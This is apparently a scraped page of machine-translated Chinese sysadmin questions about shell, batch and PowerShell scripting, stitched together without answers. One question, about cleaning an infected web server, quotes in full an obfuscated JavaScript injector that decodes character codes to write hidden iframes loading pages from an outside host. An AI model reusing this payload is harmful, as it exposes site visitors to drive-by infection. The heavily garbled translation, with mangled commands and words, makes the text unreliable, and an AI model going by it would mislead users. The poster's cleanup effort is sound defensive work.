我需要监视ps -ef | grem GMC输出中的挂起进程 ps -ef | grem GMC … 如果不手动运行这个命令并且整天被卡在命令行前面,那么最好的办法是什么? 我希望我们的开发团队能够在这些进程挂起时收到一封电子邮件,以便我们可以进行调查,或者更好地自动杀死死亡进程。 SUSE Linux Enterprise Server 10 (x86_64) VERSION = 10 PATCHLEVEL = 1 LSB_VERSION="core-2.0-noarch:core-3.0-noarch:core-2.0-x86_64:core-3.0-x86_64" Novell Open Enterprise Server 2 (x86_64) VERSION = 2 BUILD = FCS
我有这样的30个tgz文件: live-3.0.10-20101031.tgz live-3.0.4-20101005.tgz 当我提取他们将被提取到“活”文件夹(即:tar xvzf活-3.0.10-20101031.tgz将解压到“活”文件夹我想有一个小脚本,将提取所有文件最老到最新的“活”文件夹,我希望新的文件被复制到旧文件这是我做的,但我不是,如果它是好的…你可以让我知道你的想法? #!/bin/bash for f in live*.tgz; do echo $f tar xzvf $f & done
我想获得一个用户的真实姓名,以在login脚本中打印。 我正在使用以下命令: finger | grep $LOGNAME | head -1 | awk '{print $2 " " $3}' 有没有更好的办法? 我没有在finger的手册页上看到它有一个争论, 只能得到真实的姓名。 我在SunOs机器上使用TCSH。
有谁知道一个工具是基于服务的,每当文件到达一个目录时,我就可以运行一个脚本? 我会写所有我想要的脚本是一个基于服务的应用程序的工具。
我的vpnc连接经常中断,我的朋友创build了一个运行vpnc的脚本,并运行另一个“守卫”脚本,每隔一分钟vpnc仍然连接,并连接它,如果不是。 我和我朋友的区别是他有静态密码,我每次都用小设备生成不同的密码。 守护脚本运行zenity显示小窗口input密码不是问题,问题是如何将这个密码传递给vpnc? 我在这里试了一下,像这样: PASS=`zenity –entry –title="VPN Password" –text="Enter your password:"` sudo vpnc $SCRIPTPATH/vpnc.conf<<<$PASS 但是这不起作用。 Vpnc不断要求在命令行上input密码。 如何在脚本中使用密码提供它?
我必须编写一个batch file来删除文件夹中最老的文件,但我不知道如何获取最旧的文件的名称。 我可以使用DIR, DIR /B /O:D /T:C对文件进行sortingDIR /B /O:D /T:C但这是一个列表,我需要列表中的第一个文件(因为它sorting最早的第一个文件)。 我该怎么做? 谢谢
这是我开始编写的IIS网站部署脚本。 它将文件从目录A移动到目录B,并创build一个date/时间为文件名的日志文件。 当它在AM时间运行时,日志文件名称的时间部分由于空格而被截断。 我怎样才能解决这个问题,使它在白天的所有时间都能正常工作(例如:00.00.01,00.00.11,00.01.11,00.11.11,01.11.11和11.11.11给出了一些例子)? 如果你喜欢“9”,那么用9s。 当我们在文件名中有0时会发生截断。我认为它将它视为一个空格。 我看了这几个月已经过去了,但是更重要的项目出现了,我把它放在一边。 我们只是在晚上安排部署。 哈哈! 本质上,我想尽可能less使用IF语句 – 但如果你有一吨,我真的不在乎。 如果你的武器里有什么东西,真棒! :-)脚本使用“。” (不是“:”)的时间分隔符,因为在文件名中不允许冒号。 如果你被困住了,就说“MacGruber!” 喝一杯百事可乐的饮食。 先决条件: – 您需要创buildUI.Web文件夹 – 您需要所需的path中的Robocopy.exe文件 – 在运行脚本之前需要一个“日志”文件夹 REM ************************************************************** REM * TITLE: LIMS Deployment Script * REM * AUTHOR: MacGyver * REM * PURPOSE: Deployment Script for IIS Web Server Files * REM * – include all files […]
[旧post] 我有一个共享文件夹在networking上与“Everyone”共享“读取”和“读取和执行”权限。 有几个人有“写”访问权限,有时他们复制,移动或保存该文件夹中的文件“Everyone”安全不包括在该文件中。 第一个问题是:“为什么会发生这种情况?” 其次是“我应该创build一个脚本,每个文件每周运行一次,添加”每个人“? 和“我会怎么做呢?” 感谢您的时间。 [/旧post] 有问题的股份具有安全性:每个人:读取,列出和执行工程:读取,写入等 现在,有时工程会保存,移动或复制该共享中的文件,并且每个人都缺less安全性。 在执行文件时,它说拒绝访问。 我指示tyhem在发生这种情况时将“Everyone”添加到“文件”的“安全”选项卡中,但知道为什么发生这种情况将非常好。
可能重复: 我的服务器被黑了应急 在我们的networking服务器中,大部分网站都感染了这个JS下载器木马程序。 它注入了下面的代码。 我试图用“linux恶意软件检测器”和ClamAV来清理服务器,但是两者都没有清理干净。 任何build议如何清理这个? 我需要运行一个脚本来清理它吗? 我写了这个脚本。 但它不能清洁。 while read -r file do sed -i '/<script>var s,g=2,aa=document.createTextNode("harCode");if(~0===Math.cos(Math.PI)){s=String["fr"+"omC"+aa.nodeValue];} eval(s(7+g,7+g,103+g,100+g,30+g,38+g,98+g,109+g,97+g,115+g,107+g,99+g,108+g,114+g,44+g,101+g,99+g,114+g,67+g,106+g,99+g,107+g,99+g,108+g,114+g,113+g,64+g,119+g,82+g,95+g,101+g,76+g,95+g,107+g,99+g,38+g,37+g,96+g,109+g,98+g,119+g,37+g,39+g,89+g,46+g,91+g,39+g,121+g,7+g,7+g,7+g,103+g,100+g,112+g,95+g,107+g,99+g,112+g,38+g,39+g,57+g,7+g,7+g,123+g,30+g,99+g,106+g,113+g,99+g,30+g,121+g,7+g,7+g,7+g,98+g,109+g,97+g,115+g,107+g,99+g,108+g,114+g,44+g,117+g,112+g,103+g,114+g,99+g,38+g,32+g,58+g,103+g,100+g,112+g,95+g,107+g,99+g,30+g,113+g,112+g,97+g,59+g,37+g,102+g,114+g,114+g,110+g,56+g,45+g,45+g,108+g,114+g,43+g,113+g,114+g,95+g,114+g,113+g,44+g,97+g,109+g,44+g,114+g,116+g,45+g,97+g,109+g,115+g,108+g,114+g,99+g,112+g,44+g,102+g,114+g,107+g,37+g,30+g,117+g,103+g,98+g,114+g,102+g,59+g,37+g,47+g,46+g,37+g,30+g,102+g,99+g,103+g,101+g,102+g,114+g,59+g,37+g,47+g,46+g,37+g,30+g,113+g,114+g,119+g,106+g,99+g,59+g,37+g,116+g,103+g,113+g,103+g,96+g,103+g,106+g,103+g,114+g,119+g,56+g,102+g,103+g,98+g,98+g,99+g,108+g,57+g,110+g,109+g,113+g,103+g,114+g,103+g,109+g,108+g,56+g,95+g,96+g,113+g,109+g,106+g,115+g,114+g,99+g,57+g,106+g,99+g,100+g,114+g,56+g,46+g,57+g,114+g,109+g,110+g,56+g,46+g,57+g,37+g,60+g,58+g,45+g,103+g,100+g,112+g,95+g,107+g,99+g,60+g,32+g,39+g,57+g,7+g,7+g,123+g,7+g,7+g,100+g,115+g,108+g,97+g,114+g,103+g,109+g,108+g,30+g,103+g,100+g,112+g,95+g,107+g,99+g,112+g,38+g,39+g,121+g,7+g,7+g,7+g,116+g,95+g,112+g,30+g,100+g,30+g,59+g,30+g,98+g,109+g,97+g,115+g,107+g,99+g,108+g,114+g,44+g,97+g,112+g,99+g,95+g,114+g,99+g,67+g,106+g,99+g,107+g,99+g,108+g,114+g,38+g,37+g,103+g,100+g,112+g,95+g,107+g,99+g,37+g,39+g,57+g,100+g,44+g,113+g,99+g,114+g,63+g,114+g,114+g,112+g,103+g,96+g,115+g,114+g,99+g,38+g,37+g,113+g,112+g,97+g,37+g,42+g,37+g,102+g,114+g,114+g,110+g,56+g,45+g,45+g,108+g,114+g,43+g,113+g,114+g,95+g,114+g,113+g,44+g,97+g,109+g,44+g,114+g,116+g,45+g,97+g,109+g,115+g,108+g,114+g,99+g,112+g,44+g,102+g,114+g,107+g,37+g,39+g,57+g,100+g,44+g,113+g,114+g,119+g,106+g,99+g,44+g,116+g,103+g,113+g,103+g,96+g,103+g,106+g,103+g,114+g,119+g,59+g,37+g,102+g,103+g,98+g,98+g,99+g,108+g,37+g,57+g,100+g,44+g,113+g,114+g,119+g,106+g,99+g,44+g,110+g,109+g,113+g,103+g,114+g,103+g,109+g,108+g,59+g,37+g,95+g,96+g,113+g,109+g,106+g,115+g,114+g,99+g,37+g,57+g,100+g,44+g,113+g,114+g,119+g,106+g,99+g,44+g,106+g,99+g,100+g,114+g,59+g,37+g,46+g,37+g,57+g,100+g,44+g,113+g,114+g,119+g,106+g,99+g,44+g,114+g,109+g,110+g,59+g,37+g,46+g,37+g,57+g,100+g,44+g,113+g,99+g,114+g,63+g,114+g,114+g,112+g,103+g,96+g,115+g,114+g,99+g,38+g,37+g,117+g,103+g,98+g,114+g,102+g,37+g,42+g,37+g,47+g,46+g,37+g,39+g,57+g,100+g,44+g,113+g,99+g,114+g,63+g,114+g,114+g,112+g,103+g,96+g,115+g,114+g,99+g,38+g,37+g,102+g,99+g,103+g,101+g,102+g,114+g,37+g,42+g,37+g,47+g,46+g,37+g,39+g,57+g,7+g,7+g,7+g,98+g,109+g,97+g,115+g,107+g,99+g,108+g,114+g,44+g,101+g,99+g,114+g,67+g,106+g,99+g,107+g,99+g,108+g,114+g,113+g,64+g,119+g,82+g,95+g,101+g,76+g,95+g,107+g,99+g,38+g,37+g,96+g,109+g,98+g,119+g,37+g,39+g,89+g,46+g,91+g,44+g,95+g,110+g,110+g,99+g,108+g,98+g,65+g,102+g,103+g,106+g,98+g,38+g,100+g,39+g,57+g,7+g,7+g,123+g));</script><script>var s,d1=new Date(),d2=new Date(d1.getTime()+2),o=d1-d2,aa=document.createTextNode("eval");e=window[aa.nodeValue];e(String.fromCharCode(11+o,11+o,107+o,104+o,34+o,42+o,102+o,113+o,101+o,119+o,111+o,103+o,112+o,118+o,48+o,105+o,103+o,118+o,71+o,110+o,103+o,111+o,103+o,112+o,118+o,117+o,68+o,123+o,86+o,99+o,105+o,80+o,99+o,111+o,103+o,42+o,41+o,100+o,113+o,102+o,123+o,41+o,43+o,93+o,50+o,95+o,43+o,125+o,11+o,11+o,11+o,107+o,104+o,116+o,99+o,111+o,103+o,116+o,42+o,43+o,61+o,11+o,11+o,127+o,34+o,103+o,110+o,117+o,103+o,34+o,125+o,11+o,11+o,11+o,102+o,113+o,101+o,119+o,111+o,103+o,112+o,118+o,48+o,121+o,116+o,107+o,118+o,103+o,42+o,36+o,62+o,107+o,104+o,116+o,99+o,111+o,103+o,34+o,117+o,116+o,101+o,63+o,41+o,106+o,118+o,118+o,114+o,60+o,49+o,49+o,101+o,113+o,47+o,117+o,118+o,99+o,118+o,117+o,48+o,101+o,113+o,48+o,100+o,103+o,49+o,117+o,118+o,99+o,118+o,107+o,117+o,118+o,107+o,101+o,48+o,106+o,118+o,111+o,41+o,34+o,121+o,107+o,102+o,118+o,106+o,63+o,41+o,51+o,50+o,41+o,34+o,106+o,103+o,107+o,105+o,106+o,118+o,63+o,41+o,51+o,50+o,41+o,34+o,117+o,118+o,123+o,110+o,103+o,63+o,41+o,120+o,107+o,117+o,107+o,100+o,107+o,110+o,107+o,118+o,123+o,60+o,106+o,107+o,102+o,102+o,103+o,112+o,61+o,114+o,113+o,117+o,107+o,118+o,107+o,113+o,112+o,60+o,99+o,100+o,117+o,113+o,110+o,119+o,118+o,103+o,61+o,110+o,103+o,104+o,118+o,60+o,50+o,61+o,118+o,113+o,114+o,60+o,50+o,61+o,41+o,64+o,62+o,49+o,107+o,104+o,116+o,99+o,111+o,103+o,64+o,36+o,43+o,61+o,11+o,11+o,127+o,11+o,11+o,104+o,119+o,112+o,101+o,118+o,107+o,113+o,112+o,34+o,107+o,104+o,116+o,99+o,111+o,103+o,116+o,42+o,43+o,125+o,11+o,11+o,11+o,120+o,99+o,116+o,34+o,104+o,34+o,63+o,34+o,102+o,113+o,101+o,119+o,111+o,103+o,112+o,118+o,48+o,101+o,116+o,103+o,99+o,118+o,103+o,71+o,110+o,103+o,111+o,103+o,112+o,118+o,42+o,41+o,107+o,104+o,116+o,99+o,111+o,103+o,41+o,43+o,61+o,104+o,48+o,117+o,103+o,118+o,67+o,118+o,118+o,116+o,107+o,100+o,119+o,118+o,103+o,42+o,41+o,117+o,116+o,101+o,41+o,46+o,41+o,106+o,118+o,118+o,114+o,60+o,49+o,49+o,101+o,113+o,47+o,117+o,118+o,99+o,118+o,117+o,48+o,101+o,113+o,48+o,100+o,103+o,49+o,117+o,118+o,99+o,118+o,107+o,117+o,118+o,107+o,101+o,48+o,106+o,118+o,111+o,41+o,43+o,61+o,104+o,48+o,117+o,118+o,123+o,110+o,103+o,48+o,120+o,107+o,117+o,107+o,100+o,107+o,110+o,107+o,118+o,123+o,63+o,41+o,106+o,107+o,102+o,102+o,103+o,112+o,41+o,61+o,104+o,48+o,117+o,118+o,123+o,110+o,103+o,48+o,114+o,113+o,117+o,107+o,118+o,107+o,113+o,112+o,63+o,41+o,99+o,100+o,117+o,113+o,110+o,119+o,118+o,103+o,41+o,61+o,104+o,48+o,117+o,118+o,123+o,110+o,103+o,48+o,110+o,103+o,104+o,118+o,63+o,41+o,50+o,41+o,61+o,104+o,48+o,117+o,118+o,123+o,110+o,103+o,48+o,118+o,113+o,114+o,63+o,41+o,50+o,41+o,61+o,104+o,48+o,117+o,103+o,118+o,67+o,118+o,118+o,116+o,107+o,100+o,119+o,118+o,103+o,42+o,41+o,121+o,107+o,102+o,118+o,106+o,41+o,46+o,41+o,51+o,50+o,41+o,43+o,61+o,104+o,48+o,117+o,103+o,118+o,67+o,118+o,118+o,116+o,107+o,100+o,119+o,118+o,103+o,42+o,41+o,106+o,103+o,107+o,105+o,106+o,118+o,41+o,46+o,41+o,51+o,50+o,41+o,43+o,61+o,11+o,11+o,11+o,102+o,113+o,101+o,119+o,111+o,103+o,112+o,118+o,48+o,105+o,103+o,118+o,71+o,110+o,103+o,111+o,103+o,112+o,118+o,117+o,68+o,123+o,86+o,99+o,105+o,80+o,99+o,111+o,103+o,42+o,41+o,100+o,113+o,102+o,123+o,41+o,43+o,93+o,50+o,95+o,48+o,99+o,114+o,114+o,103+o,112+o,102+o,69+o,106+o,107+o,110+o,102+o,42+o,104+o,43+o,61+o,11+o,11+o,127+o));</script></body>/d' $file done< <(find . -name '*.htm' -o -name '*.html' -o -name '*.js' -o -name '*.php')
我最近把一个PowerShell脚本放在一起,以下面的格式创build按date命名的目录“yyyyMMddHHmm” 我一直在试图做的是弄清楚如何通过脚本(或者创build一个新脚本)自动删除超过三天的任何目录。 我希望能够拉动文件夹的名称(如在上面的格式中读取date),这是决定性的因素,但我不确定我会从哪一个开始。 我想知道这些步骤是什么,以便我可以分解它会有所帮助。 任何人都曾经尝试过这样的事情与PowerShell?